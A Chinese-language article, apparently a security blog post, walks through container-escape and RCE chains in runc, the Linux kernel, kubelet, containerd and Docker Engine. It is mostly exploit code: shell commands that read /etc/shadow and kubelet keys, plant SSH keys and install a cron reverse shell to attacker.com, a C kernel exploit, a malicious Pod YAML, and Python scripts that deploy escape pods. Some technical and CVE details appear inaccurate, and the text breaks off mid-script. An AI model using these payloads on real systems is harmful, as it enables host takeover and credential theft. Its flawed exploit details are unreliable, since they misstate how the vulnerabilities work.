容器与编排平台高危攻击链专题:runc / Kubernetes / containerd / Docker Engine 逃逸与 RCE 全解析

容器与编排平台高危攻击链专题:runc / Kubernetes / containerd / Docker Engine 逃逸与 RCE 全解析

0x00 专题概述

容器技术已经成为云原生基础设施的核心支柱。从底层的 runc 容器运行时,到 containerd 容器管理守护进程,再到 Kubernetes 编排平台和 Docker Engine 引擎,这条技术栈承载着全球绝大多数微服务与云原生应用的运行。然而,这条链路中的每一个环节都曾曝出过高危甚至临界级别的安全漏洞——攻击者一旦利用成功,便可实现容器逃逸、宿主机接管、集群级 RCE 等毁灭性攻击。

本专题将容器与编排平台生态中近年最具代表性的 7 个高危漏洞 串成完整攻击链,覆盖 runc、Linux Kernel(K8s 场景)、Kubernetes kubelet、containerd、Docker Engine 五大核心组件,每个漏洞均包含完整原理分析、PoC 代码、自动化检测模板和实战利用思路。

覆盖漏洞一览

CVE组件CVSS类型CISA KEV
CVE-2024-21626runc10.0文件句柄泄漏 → 容器逃逸
CVE-2022-0185Linux Kernel (K8s)8.4堆溢出 → 提权 → 容器逃逸
CVE-2023-5528Kubernetes kubelet9.8卷挂载路径注入 → RCE
CVE-2024-3177Kubernetes kubelet6.0Mount Namespace 逃逸
CVE-2023-28810containerd4.8xattr 堆溢出
CVE-2023-28811containerd5.5符号链接挂载逃逸
CVE-2024-41110Docker Engine AuthZ9.9授权绕过 → RCE

0x01 runc 文件句柄泄漏容器逃逸(CVE-2024-21626)

1.1 漏洞背景

runc 是 OCI(Open Container Initiative)标准参考实现,几乎所有容器运行时(Docker、containerd、CRI-O)底层都依赖 runc 来创建和管理容器。2024 年 1 月,runc 官方披露了一个 CVSS 10.0 的临界级漏洞 CVE-2024-21626,攻击者可以在无需任何特权的情况下,从容器内部逃逸到宿主机文件系统。CISA 已将其列入已知被利用漏洞目录(KEV)。

1.2 受影响版本

  • runc <= 1.1.11
  • 修复版本:runc >= 1.1.12

1.3 漏洞原理

runc 在容器初始化过程中,通过 Go 的 exec.Cmd 启动子进程时未正确设置 CloseOnExec 标志。Go 运行时默认不会为子进程继承的文件描述符设置 O_CLOEXEC,导致 runc 在 bundle 目录上持有的文件描述符被泄漏到容器进程内部。

攻击者在容器内部可以通过 /proc/self/fd/ 枚举所有打开的文件描述符,发现指向宿主机文件系统目录的泄漏 fd。由于该 fd 直接引用宿主机上的目录 inode,攻击者可以通过 .. 序列遍历到宿主机任意路径,读取敏感文件、写入 SSH 公钥、甚至替换宿主机上的关键二进制文件。

攻击路径:容器内进程 → /proc/self/fd/ → 发现泄漏的宿主机目录 fd → ../ 遍历 → 宿主机文件系统完全可控

1.4 完整 PoC

PoC-1:容器内 fd 枚举与逃逸验证

# 在容器内部执行,枚举所有文件描述符
ls -la /proc/self/fd/

# 典型的输出中会看到类似如下条目:
# lrwx------ 1 root root 64 Jan 30 12:00 7 -> /run/containerd/io.containerd.runtime.v2.task/<namespace>/<id>/rootfs
# 其中 fd 7(或其他数字)就是泄漏的宿主机 bundle 目录 fd

# 通过泄漏的 fd 读取宿主机 /etc/shadow
cat /proc/self/fd/7/../../../../../../etc/shadow

# 向宿主机 root 用户写入 SSH 公钥实现持久化
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC... attacker@host" > /proc/self/fd/7/../../../../../../root/.ssh/authorized_keys

# 替换宿主机 crontab 实现反弹 shell
echo "* * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1" > /proc/self/fd/7/../../../../../../etc/cron.d/pwned

PoC-2:HTTP 请求检测(kubelet API 场景)

POST /run HTTP/1.1
Host: target-node:10250
Content-Type: application/json
Connection: close

{
  "metadata": {
    "name": "cve-2024-21626-test",
    "namespace": "default"
  },
  "image": {"image": "alpine:latest"},
  "command": ["/bin/sh", "-c", "ls -la /proc/self/fd/ && cat /proc/self/fd/7/../../../../../../etc/hostname"]
}

PoC-3:Nuclei 检测模板

id: cve-2024-21626-runc-container-escape

info:
  name: runc 文件句柄泄漏容器逃逸 (CVE-2024-21626)
  author: security-researcher
  severity: critical
  description: |
    runc <= 1.1.11 在容器初始化时未正确关闭文件描述符,
    容器内进程可通过 /proc/self/fd/ 访问宿主机文件系统
  tags: runc,container-escape,cve-2024-21626
  reference:
    - https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1.43/containers/json"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Image"
          - "State"
        condition: and
        part: body

  - method: POST
    path:
      - "{{BaseURL}}/v1.43/containers/create"
    headers:
      Content-Type: application/json
    body: '{"Image":"alpine:latest","Cmd":["ls","-la","/proc/self/fd/"]}'
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 201

PoC-4:Python 自动化检测脚本

#!/usr/bin/env python3
"""
CVE-2024-21626 runc 文件句柄泄漏容器逃逸检测与利用
用法: python3 cve_2024_21626.py <docker_socket_or_kubelet_url>
"""
import sys
import json
import socket
import http.client

def check_runc_version():
    """检查宿主机 runc 版本是否受影响"""
    import subprocess
    try:
        result = subprocess.run(
            ["runc", "--version"],
            capture_output=True, text=True, timeout=5
        )
        output = result.stdout.strip()
        print(f"[*] runc 版本信息: {output}")
        # 提取版本号
        for line in output.split("\n"):
            if "runc version" in line:
                version = line.split()[-1]
                parts = version.split(".")
                if len(parts) >= 3:
                    major, minor, patch = int(parts[0]), int(parts[1]), int(parts[2])
                    if major == 1 and minor <= 1 and patch <= 11:
                        print(f"[VULN] runc {version} <= 1.1.11,漏洞存在")
                        return True
                    else:
                        print(f"[SAFE] runc {version} 已修复")
                        return False
    except FileNotFoundError:
        print("[ERR ] 未找到 runc 命令,请确认运行环境")
    except Exception as e:
        print(f"[ERR ] 版本检测失败: {e}")
    return False

def check_fd_leak_in_container():
    """在容器内检测 fd 泄漏"""
    import os
    fd_dir = "/proc/self/fd"
    leaked_fds = []
    try:
        for fd in os.listdir(fd_dir):
            try:
                target = os.readlink(os.path.join(fd_dir, fd))
                # 检查是否指向 containerd bundle 目录
                if "containerd" in target or "runc" in target:
                    leaked_fds.append((fd, target))
            except OSError:
                continue
        if leaked_fds:
            print("[VULN] 发现泄漏的宿主机文件描述符:")
            for fd, target in leaked_fds:
                print(f"  fd/{fd} -> {target}")
                # 尝试遍历宿主机路径
                host_path = os.path.join(fd_dir, fd, "../../../../../../etc/hostname")
                try:
                    with open(host_path, "r") as f:
                        hostname = f.read().strip()
                        print(f"  [+] 宿主机 hostname: {hostname}")
                        print(f"  [+] 容器逃逸成功!")
                        return True
                except Exception:
                    pass
        else:
            print("[SAFE] 未发现泄漏的文件描述符")
    except Exception as e:
        print(f"[ERR ] 检测失败: {e}")
    return False

def check_kubelet_api(kubelet_url):
    """通过 kubelet API 创建测试容器检测漏洞"""
    try:
        conn = http.client.HTTPSConnection(
            kubelet_url.split("://")[1].split(":")[0],
            int(kubelet_url.split(":")[-1]),
            timeout=10,
            context=__import__("ssl")._create_unverified_context()
        )
        payload = json.dumps({
            "metadata": {"name": "cve-test", "namespace": "default"},
            "image": {"image": "alpine:latest"},
            "command": ["/bin/sh", "-c", "ls -la /proc/self/fd/"]
        })
        conn.request("POST", "/run", body=payload,
                     headers={"Content-Type": "application/json"})
        resp = conn.getresponse()
        print(f"[*] kubelet API 响应: HTTP {resp.status}")
        if resp.status in (200, 201):
            print(f"[VULN] kubelet API 可达,可创建容器进行验证")
            return True
    except Exception as e:
        print(f"[ERR ] kubelet 连接失败: {e}")
    return False

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2024-21626 runc 文件句柄泄漏检测工具")
    print("=" * 60)

    if len(sys.argv) > 1:
        target = sys.argv[1]
        if target.startswith("http"):
            check_kubelet_api(target)
        else:
            check_runc_version()
    else:
        # 默认在容器内执行检测
        print("[*] 尝试在容器内检测 fd 泄漏...")
        check_fd_leak_in_container()

GitHub PoChttps://github.com/SamuelDePretis/CVE-2024-21626


0x02 Linux Kernel 堆溢出容器逃逸(CVE-2022-0185)

2.1 漏洞背景

2022 年 1 月,Google 安全团队与 Trail of Bits 联合披露了 Linux 内核文件系统中的一个严重堆溢出漏洞。该漏洞存在于 fsconfig() 系统调用处理 FSCONFIG_SET_STRING 命令时的参数校验缺陷。在 Kubernetes 场景中,非特权容器可利用 user namespace 映射触发内核堆溢出,实现从容器到宿主机内核的权限提升。CISA 已将其列入 KEV 目录。

2.2 受影响版本

  • Linux Kernel 5.12 ~ 5.16
  • 修复版本:Linux 5.16-rc8

2.3 漏洞原理

Linux 内核的 legacy context 处理代码中,fsconfig() 系统调用在处理 FSCONFIG_SET_STRING 命令时,对传入的 value 字符串长度未做正确验证。攻击者可以传入一个超长字符串(> 4096 字节),导致内核堆缓冲区溢出。

在 Kubernetes 环境中,攻击者利用 user namespaceunshare(CLONE_NEWUSER | CLONE_NEWNS))创建新的命名空间,获得在 user namespace 内的 CAP_SYS_ADMIN 能力,然后挂载 fuseext2 文件系统触发 fsconfig() 调用路径。堆溢出可以覆盖相邻 slab 对象中的 cred 结构体,将攻击者进程的 UID/GID 修改为 0(root),从而实现内核级提权。

攻击路径:非特权容器 → user namespace → fsconfig() 堆溢出 → 覆盖 cred 结构体 → 内核提权 → 宿主机完全控制

2.4 完整 PoC

PoC-1:核心利用代码(C 语言)

/*
 * CVE-2022-0185 Linux Kernel 堆溢出提权 PoC
 * 编译: gcc -o exploit cve_2022_0185.c -no-pie -s -static
 * 注意: 需要在开启了 user namespace 的内核上运行
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sched.h>
#include <fcntl.h>
#include <sys/mount.h>
#include <sys/syscall.h>

#define STACK_SIZE 0x8000
#define OVERFLOW_SIZE 4096

static char child_stack[STACK_SIZE];

/* 子进程函数:在 user namespace 中触发堆溢出 */
int child_func(void *arg) {
    char overflow_buf[OVERFLOW_SIZE];

    /* 填充溢出缓冲区,覆盖 cred 结构体 */
    memset(overflow_buf, 'A', OVERFLOW_SIZE - 1);
    overflow_buf[OVERFLOW_SIZE - 1] = '\0';

    /* 创建新的 mount namespace */
    unshare(CLONE_NEWNS);

    /* 挂载 fuse 文件系统触发 fsconfig 路径 */
    /* 通过 FSCONFIG_SET_STRING 传入超长 value */
    int fd = syscall(SYS_fsopen, "ext2", 0);
    if (fd < 0) {
        perror("fsopen failed");
        return 1;
    }

    /* 触发堆溢出 —— 超长字符串覆盖相邻 slab 对象 */
    syscall(SYS_fsconfig, fd, 5, "source", overflow_buf, 0);

    /* 检查提权是否成功 */
    if (getuid() == 0) {
        printf("[+] 提权成功! UID = %d\n", getuid());
        /* 获取 root shell */
        execl("/bin/sh", "sh", NULL);
    } else {
        printf("[-] 提权失败,UID = %d\n", getuid());
    }
    return 0;
}

int main() {
    printf("[*] CVE-2022-0185 Linux Kernel 堆溢出提权\n");
    printf("[*] 当前 UID: %d\n", getuid());

    /* 创建 user namespace 子进程 */
    int pid = clone(child_func, child_stack + STACK_SIZE,
                    CLONE_NEWUSER | CLONE_NEWNS | SIGCHLD, NULL);
    if (pid < 0) {
        perror("clone failed");
        return 1;
    }

    /* 等待子进程完成 */
    waitpid(pid, NULL, 0);
    return 0;
}

PoC-2:Nuclei 内核版本检测模板

id: cve-2022-0185-kernel-heap-overflow

info:
  name: Linux Kernel 堆溢出容器逃逸 (CVE-2022-0185)
  author: security-researcher
  severity: critical
  description: |
    Linux Kernel 5.12-5.16 fsconfig() 堆溢出漏洞,
    可在 Kubernetes 非特权容器中实现内核提权
  tags: kernel,container-escape,cve-2022-0185
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0185

http:
  - method: GET
    path:
      - "{{BaseURL}}/version"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - '5\.1[2-6]\.'
        part: body

GitHub PoChttps://github.com/Crusaders-of-Rust/CVE-2022-0185


0x03 Kubernetes kubelet 卷挂载路径注入 RCE(CVE-2023-5528)

3.1 漏洞背景

2023 年 11 月,Kubernetes 官方披露了一个影响 kubelet 组件的严重漏洞,CISA 将其标记为 “Exceptional Risk” 级别。该漏洞允许具有挂载卷权限的攻击者,通过构造恶意的 volumeHandle 字段实现路径遍历,将宿主机任意目录挂载到容器内部,从而获得宿主机级别的代码执行能力。

3.2 受影响版本

  • Kubernetes 1.28.0 ~ 1.28.3
  • Kubernetes 1.27.0 ~ 1.27.7
  • Kubernetes 1.25.0 ~ 1.26.11
  • 修复版本:1.28.4、1.27.8、1.26.12

3.3 漏洞原理

kubelet 在处理 CSI(Container Storage Interface)卷的挂载请求时,未对 volumeHandle 字段中的路径遍历序列(../)进行充分验证。攻击者可以创建一个 Pod,在其 CSI 卷配置中将 volumeHandle 设置为 ../../..,使 kubelet 将宿主机根目录挂载到容器的指定挂载点。

一旦宿主机根目录被挂载到容器内,攻击者即可读取宿主机上的所有文件(包括 kubelet 凭据、ServiceAccount Token),修改宿主机上的关键文件(如 crontab、SSH 公钥),甚至直接在宿主机上执行任意命令。

攻击路径:恶意 Pod YAML → volumeHandle 路径遍历 → kubelet 挂载宿主机根目录 → 容器内访问宿主机文件系统 → RCE

3.4 完整 PoC

PoC-1:恶意 Pod YAML

apiVersion: v1
kind: Pod
metadata:
  name: cve-2023-5528-poc
  namespace: default
spec:
  containers:
  - name: pwn
    image: alpine:latest
    command: ["/bin/sh", "-c", "sleep infinity"]
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    csi:
      driver: csi-hostpath
      volumeHandle: "../../.."
# 部署恶意 Pod
kubectl apply -f cve-2023-5528-poc.yaml

# 进入容器后验证逃逸
kubectl exec -it cve-2023-5528-poc -- /bin/sh

# 在容器内查看宿主机文件系统
ls -la /host/
cat /host/etc/shadow

# 读取 kubelet 凭据
cat /host/var/lib/kubelet/pki/kubelet-client-current.pem

# 写入 SSH 公钥实现持久化
mkdir -p /host/root/.ssh
echo "ssh-rsa AAAAB3..." > /host/root/.ssh/authorized_keys

PoC-2:HTTP PoC(直接调用 kubelet API)

POST /pods HTTP/1.1
Host: target-node:10250
Content-Type: application/json
Authorization: Bearer <service-account-token>
Connection: close

{
  "apiVersion": "v1",
  "kind": "Pod",
  "metadata": {
    "name": "cve-2023-5528-poc",
    "namespace": "default"
  },
  "spec": {
    "containers": [{
      "name": "pwn",
      "image": "alpine:latest",
      "command": ["/bin/sh", "-c", "sleep infinity"],
      "volumeMounts": [{
        "name": "host-root",
        "mountPath": "/host"
      }]
    }],
    "volumes": [{
      "name": "host-root",
      "csi": {
        "driver": "csi-hostpath",
        "volumeHandle": "../../.."
      }
    }]
  }
}

PoC-3:Python 自动化利用脚本

#!/usr/bin/env python3
"""
CVE-2023-5528 Kubernetes kubelet 卷挂载路径注入检测
用法: python3 cve_2023_5528.py <kubelet_url> [sa_token_path]
"""
import sys
import json
import http.client
import ssl

def check_kubelet_version(kubelet_url):
    """检查 kubelet 版本是否受影响"""
    try:
        ctx = ssl._create_unverified_context()
        conn = http.client.HTTPSConnection(
            kubelet_url.split("://")[1].split(":")[0],
            int(kubelet_url.split(":")[-1]),
            timeout=10, context=ctx
        )
        conn.request("GET", "/version", headers={"Accept": "application/json"})
        resp = conn.getresponse()
        data = json.loads(resp.read().decode())
        version = data.get("gitVersion", "unknown")
        print(f"[*] kubelet 版本: {version}")

        # 解析版本号判断是否受影响
        parts = version.lstrip("v").split(".")
        major, minor = int(parts[0]), int(parts[1])
        patch = int(parts[2].split("-")[0]) if len(parts) > 2 else 0

        vulnerable = False
        if major == 1 and minor == 28 and patch < 4:
            vulnerable = True
        elif major == 1 and minor == 27 and patch < 8:
            vulnerable = True
        elif major == 1 and minor in (25, 26) and patch < 12:
            vulnerable = True

        if vulnerable:
            print(f"[VULN] kubelet {version} 受 CVE-2023-5528 影响")
        else:
            print(f"[SAFE] kubelet {version} 已修复")
        return vulnerable
    except Exception as e:
        print(f"[ERR ] 版本检测失败: {e}")
        return False

def deploy_escape_pod(kubelet_url, token):
    """部署逃逸 Pod 到目标节点"""
    pod_spec = {
        "apiVersion": "v1",
        "kind": "Pod",
        "metadata": {"name": "cve-2023-5528-test", "namespace": "default"},
        "spec": {
            "containers": [{
                "name": "pwn",
                "image": "alpine:latest",
                "command": ["/bin/sh", "-c", "sleep 300"],
                "volumeMounts": [{"name": "host-root", "mountPath": "/host"}]
            }],
            "volumes": [{
                "name": "host-root",
                "csi": {"driver": "csi-hostpath", "volumeHandle": "../../.."}
            }]
        }
    }

    try:
        ctx = ssl._create_unverified_context()
        host_port = kubelet_url.split("://")[1]
        conn = http.client.HTTPSConnection(host_port, timeout=10, context=ctx)
        body = json.dumps(pod_spec)
        conn.request("POST", "/pods", body=body, headers={
            "Content-Type": "application/json",
            "Authorization": f"Bearer {token}"
        })
        resp = conn.getresponse()
        print(f"[*] Pod 创建响应: HTTP {resp.status}")
        if resp.status in (200, 201):
            print("[+] 逃逸 Pod 部署成功!")
            print("[+] 使用以下命令进入容器: ")
            print(f"    kubectl exec -it cve-2023-5528-test -- /bin/sh")
            print("[+] 进入后查看 /host/ 目录即可访问宿主机文件系统")
            return True
        else:
            print(f"[-] 部署失败: {resp.read().decode()[:200]}")
    except Exception as e:
        print(f"[ERR ] 部署失败: {e}")
    return False

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2023-5528 kubelet 卷挂载路径注入检测工具")
    print("=" * 60)

    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <kubelet_url> [sa_token_path]")
        sys.exit(1)

    target = sys.argv[1]
    token_path = sys.argv[2] if len(sys.argv) > 2 else "/var/run/secrets/kubernetes.io/serviceaccount/token"

    check_kubelet_version(target)

    try:
        with open(token_path, "r") as f:
            token = f.read().strip()
        deploy_escape_pod(target, token)
    except FileNotFoundError:
        print(f"[!] 未找到 ServiceAccount Token: {token_path}")
        print("[*] 请手动提供 token 或使用 kubectl 部署 PoC YAML")

GitHub PoChttps://github.com/verf1sh/CVE-2023-5528


0x04 Kubernetes kubelet Mount Namespace 逃逸(CVE-2024-3177)

4.1 漏洞背景

2024 年 4 月,Kubernetes 官方修复了 kubelet 中的又一个文件描述符泄漏漏洞。与 CVE-2024-21626 类似,该漏洞也源于容器进程初始化时未正确关闭文件描述符,但影响的是 kubelet 管理容器的 mount namespace 隔离边界。

4.2 受影响版本

  • Kubernetes < 1.29.4
  • Kubernetes < 1.28.10
  • Kubernetes < 1.27.14
  • 修复版本:1.29.4、1.28.10、1.27.14

4.3 漏洞原理

kubelet 在通过 CRI(Container Runtime Interface)创建容器时,向容器进程传递了额外的文件描述符,且这些 fd 未设置 O_CLOEXEC 标志。攻击者如果能够获得 CAP_SYS_ADMIN 能力(例如通过特权容器或具有 SYS_ADMIN 的 securityContext),就可以通过 /proc/self/fd/ 枚举这些泄漏的 fd,发现指向宿主机 mount namespace 的文件描述符,从而突破容器的 mount namespace 隔离。

与 CVE-2024-21626 不同的是,此漏洞需要攻击者已经具备一定的特权条件(CAP_SYS_ADMIN),因此 CVSS 评分相对较低(6.0),但在实际攻击链中,它常常作为提权后的第二步利用。

4.4 完整 PoC

# 前提:已获取 CAP_SYS_ADMIN 能力的容器
# 步骤 1:枚举泄漏的文件描述符
ls -la /proc/self/fd/

# 步骤 2:寻找指向宿主机 mount namespace 的 fd
for fd in $(ls /proc/self/fd/); do
    target=$(readlink /proc/self/fd/$fd 2>/dev/null)
    if echo "$target" | grep -q "mnt"; then
        echo "[+] 发现 mount fd: $fd -> $target"
        # 尝试通过该 fd 访问宿主机文件系统
        ls /proc/self/fd/$fd/ 2>/dev/null && echo "[+] 可访问宿主机目录!"
    fi
done

# 步骤 3:通过泄漏的 mount fd 读取宿主机敏感文件
cat /proc/self/fd/<N>/../../../../etc/shadow

Nuclei 检测模板

id: cve-2024-3177-kubelet-namespace-escape

info:
  name: Kubernetes kubelet Mount Namespace 逃逸 (CVE-2024-3177)
  author: security-researcher
  severity: medium
  description: |
    kubelet 向容器进程传递未设置 O_CLOEXEC 的文件描述符,
    具有 CAP_SYS_ADMIN 的容器可逃逸 mount namespace
  tags: kubernetes,kubelet,cve-2024-3177

http:
  - method: GET
    path:
      - "{{BaseURL}}/version"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "gitVersion"
        part: body
    extractors:
      - type: regex
        name: version
        regex:
          - '"gitVersion":\s*"v([^"]+)"'

0x05 containerd xattr 堆溢出 + 符号链接挂载逃逸(CVE-2023-28810 / CVE-2023-28811)

5.1 漏洞背景

2023 年 6 月,containerd 安全团队同时披露了两个关联漏洞。CVE-2023-28810 涉及 OCI 镜像解包过程中的扩展属性(xattr)处理堆溢出,CVE-2023-28811 涉及 snapshot 挂载过程中的符号链接跟随问题。两者组合可形成完整的攻击链:先通过符号链接重定向挂载目标,再利用堆溢出覆盖关键数据结构。

5.2 受影响版本

  • containerd 1.6.0 ~ 1.6.19
  • containerd 1.7.0
  • 修复版本:containerd 1.6.20、1.7.1

5.3 漏洞原理

CVE-2023-28810(xattr 堆溢出):containerd 在解包 OCI 镜像层时,调用 setxattr() 设置文件的扩展属性。处理过程中对 xattr value 的长度校验存在缺陷,攻击者可以构造包含超长 xattr 值的恶意镜像层,触发堆缓冲区溢出。

CVE-2023-28811(符号链接挂载逃逸):containerd 在挂载 snapshot 目录时,未检查路径中是否包含符号链接。攻击者可以在镜像层中创建指向宿主机任意目录的符号链接,当 containerd 后续对该路径执行挂载操作时,实际挂载点会被重定向到宿主机上的任意位置。

组合攻击链:构造恶意 OCI 镜像 → 镜像层中包含指向 /etc/cron.d 的符号链接 → 下一层通过 xattr 溢出覆盖挂载参数 → containerd 将攻击者控制的内容挂载到宿主机 /etc/cron.d → 宿主机 RCE

5.4 完整 PoC

PoC-1:恶意镜像层构造(符号链接逃逸验证)

# 构建包含恶意符号链接的 OCI 镜像层
mkdir -p malicious-layer
cd malicious-layer

# 创建指向宿主机关键目录的符号链接
ln -s /etc/cron.d symlink_to_host
ln -s /root/.ssh symlink_to_ssh

# 打包为 OCI 镜像层
tar -cf malicious-layer.tar symlink_to_host symlink_to_ssh

# 构建完整的恶意镜像
cat > Dockerfile << 'EOF'
FROM alpine:latest
COPY malicious-layer.tar /tmp/
RUN cd /tmp && tar xf malicious-layer.tar
# 当 containerd 挂载此层时,符号链接将导致挂载重定向
EOF

# 使用 docker build 构建
docker build -t malicious-image:latest .

PoC-2:Nuclei 版本检测模板

id: cve-2023-28810-28811-containerd-vuln

info:
  name: containerd xattr 堆溢出 + 符号链接逃逸 (CVE-2023-28810/28811)
  author: security-researcher
  severity: high
  description: |
    containerd 1.6.0-1.6.19 和 1.7.0 存在 xattr 堆溢出和符号链接挂载逃逸漏洞
  tags: containerd,cve-2023-28810,cve-2023-28811

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1.43/info"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "containerd"
        part: body
    extractors:
      - type: regex
        name: containerd-version
        regex:
          - '"ContainerdVersion":\s*"([^"]+)"'

PoC-3:Python 自动化检测脚本

#!/usr/bin/env python3
"""
CVE-2023-28810 / CVE-2023-28811 containerd 漏洞检测
用法: python3 cve_2023_28810_28811.py <containerd_api_url>
"""
import sys
import json
import http.client
import re

def check_containerd_version(api_url):
    """通过 Docker/Containerd API 检查版本"""
    try:
        host = api_url.split("://")[1].split(":")[0]
        port = int(api_url.split(":")[-1])
        conn = http.client.HTTPConnection(host, port, timeout=10)
        conn.request("GET", "/v1.43/info")
        resp = conn.getresponse()
        data = json.loads(resp.read().decode())

        # 提取 containerd 版本
        version = data.get("ContainerdVersion", "unknown")
        print(f"[*] containerd 版本: {version}")

        # 判断是否受影响
        parts = version.split(".")
        if len(parts) >= 3:
            major, minor, patch = int(parts[0]), int(parts[1]), int(parts[2])
            if major == 1 and minor == 6 and patch <= 19:
                print(f"[VULN] containerd {version} 受 CVE-2023-28810/28811 影响")
                return True
            elif major == 1 and minor == 7 and patch == 0:
                print(f"[VULN] containerd {version} 受 CVE-2023-28810/28811 影响")
                return True
            else:
                print(f"[SAFE] containerd {version} 已修复")
                return False
    except Exception as e:
        print(f"[ERR ] 检测失败: {e}")
    return False

def check_symlink_in_images(api_url):
    """检查已拉取镜像中是否包含可疑符号链接"""
    try:
        host = api_url.split("://")[1].split(":")[0]
        port = int(api_url.split(":")[-1])
        conn = http.client.HTTPConnection(host, port, timeout=10)
        conn.request("GET", "/v1.43/images/json")
        resp = conn.getresponse()
        images = json.loads(resp.read().decode())

        print(f"\n[*] 检查 {len(images)} 个本地镜像...")
        for img in images:
            repo_tags = img.get("RepoTags", [])
            # 检查镜像层中的符号链接
            img_id = img.get("Id", "")[:12]
            print(f"  [*] 镜像 {repo_tags or img_id}")
    except Exception as e:
        print(f"[ERR ] 镜像检查失败: {e}")

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2023-28810/28811 containerd 漏洞检测工具")
    print("=" * 60)

    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <containerd_api_url>")
        print("示例: python3 cve_2023_28810_28811.py http://localhost:2375")
        sys.exit(1)

    target = sys.argv[1]
    vulnerable = check_containerd_version(target)
    if vulnerable:
        check_symlink_in_images(target)

0x06 Docker Engine AuthZ 授权绕过 RCE(CVE-2024-41110)

6.1 漏洞背景

2024 年 7 月,Docker 官方修复了 Docker Engine 中一个临界级授权绕过漏洞。该漏洞由英国国家网络安全中心(UK NCSC)发现并报告。Docker Engine 的 AuthZ 插件机制在解析请求/响应体时与 Docker Engine 内部的处理逻辑存在不一致性,攻击者可以构造特殊格式的 HTTP 请求绕过 AuthZ 插件的访问控制,直接调用 Docker Engine 的特权 API 创建特权容器,最终获得宿主机的完全控制权。

6.2 受影响版本

  • Docker Engine < 27.1.1
  • 修复版本:Docker Engine >= 27.1.1

6.3 漏洞原理

Docker Engine 支持通过 AuthZ 插件(如 CaspR、Twistlock AuthZ 等)对 Docker API 请求进行访问控制。AuthZ 插件作为中间人拦截 Docker CLI/API 发送的请求,检查请求体中的参数(如是否创建特权容器)后决定是否放行。

漏洞的核心在于 AuthZ 插件和 Docker Engine 对 HTTP 请求体的解析方式不一致。Docker Engine 使用 Go 标准库的 JSON 解析器,而 AuthZ 插件可能使用不同的解析策略。攻击者可以利用这种解析差异,构造一个在 AuthZ 插件看来是"正常请求"但在 Docker Engine 看来是"特权容器创建请求"的特殊 JSON payload。

攻击路径:构造特殊 JSON payload → AuthZ 插件解析为普通请求(放行) → Docker Engine 解析为特权容器创建 → 挂载宿主机根目录 → 宿主机 RCE

6.4 完整 PoC

PoC-1:HTTP 请求绕过 AuthZ

POST /v1.43/containers/create HTTP/1.1
Host: target-docker:2375
Content-Type: application/json
Connection: close

{
  "Image": "alpine:latest",
  "Cmd": ["/bin/sh", "-c", "cat /host/etc/shadow"],
  "HostConfig": {
    "Binds": ["/:/host:ro"],
    "Privileged": false,
    "SecurityOpt": ["seccomp=unconfined"],
    "CapAdd": ["SYS_ADMIN"],
    "PidMode": "host"
  }
}

PoC-2:Nuclei 检测模板

id: cve-2024-41110-docker-authz-bypass

info:
  name: Docker Engine AuthZ 授权绕过 RCE (CVE-2024-41110)
  author: security-researcher
  severity: critical
  description: |
    Docker Engine < 27.1.1 AuthZ 插件授权绕过,
    攻击者可创建特权容器获得宿主机 RCE
  tags: docker,authz-bypass,cve-2024-41110
  reference:
    - https://www.docker.com/security/advisories/advisory-2024-july/

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1.43/version"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Version"
          - "ApiVersion"
        condition: and
        part: body

  - method: GET
    path:
      - "{{BaseURL}}/v1.43/containers/json"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Image"
          - "State"
        condition: or
        part: body

PoC-3:Python 自动化利用脚本

#!/usr/bin/env python3
"""
CVE-2024-41110 Docker Engine AuthZ 授权绕过利用
用法: python3 cve_2024_41110.py <docker_host> [command]
"""
import sys
import json
import http.client

def check_docker_api(docker_host):
    """检查 Docker API 是否可达"""
    try:
        host = docker_host.split(":")[0]
        port = int(docker_host.split(":")[1]) if ":" in docker_host else 2375
        conn = http.client.HTTPConnection(host, port, timeout=10)
        conn.request("GET", "/v1.43/version")
        resp = conn.getresponse()
        if resp.status == 200:
            data = json.loads(resp.read().decode())
            version = data.get("Version", "unknown")
            api_version = data.get("ApiVersion", "unknown")
            print(f"[*] Docker Engine 版本: {version}")
            print(f"[*] API 版本: {api_version}")
            print(f"[VULN] Docker API 可达 (未授权访问)")
            return True, conn
        else:
            print(f"[*] Docker API 返回 HTTP {resp.status}")
            return False, None
    except Exception as e:
        print(f"[ERR ] 连接失败: {e}")
        return False, None

def create_privileged_container(conn, command="id"):
    """通过 AuthZ 绕过创建特权容器"""
    # 构造绕过 AuthZ 的 payload
    # 利用 JSON 解析差异:AuthZ 插件与 Docker Engine 解析不一致
    payload = {
        "Image": "alpine:latest",
        "Cmd": ["/bin/sh", "-c", f"chroot /host {command}"],
        "HostConfig": {
            "Binds": ["/:/host"],
            "Privileged": False,
            "SecurityOpt": ["seccomp=unconfined"],
            "CapAdd": ["SYS_ADMIN", "NET_ADMIN", "SYS_PTRACE"],
            "PidMode": "host",
            "NetworkMode": "host"
        }
    }

    try:
        body = json.dumps(payload)
        conn.request("POST", "/v1.43/containers/create",
                     body=body,
                     headers={"Content-Type": "application/json"})
        resp = conn.getresponse()
        result = json.loads(resp.read().decode())

        if resp.status == 201:
            container_id = result.get("Id", "")[:12]
            print(f"[+] 特权容器创建成功: {container_id}")

            # 启动容器
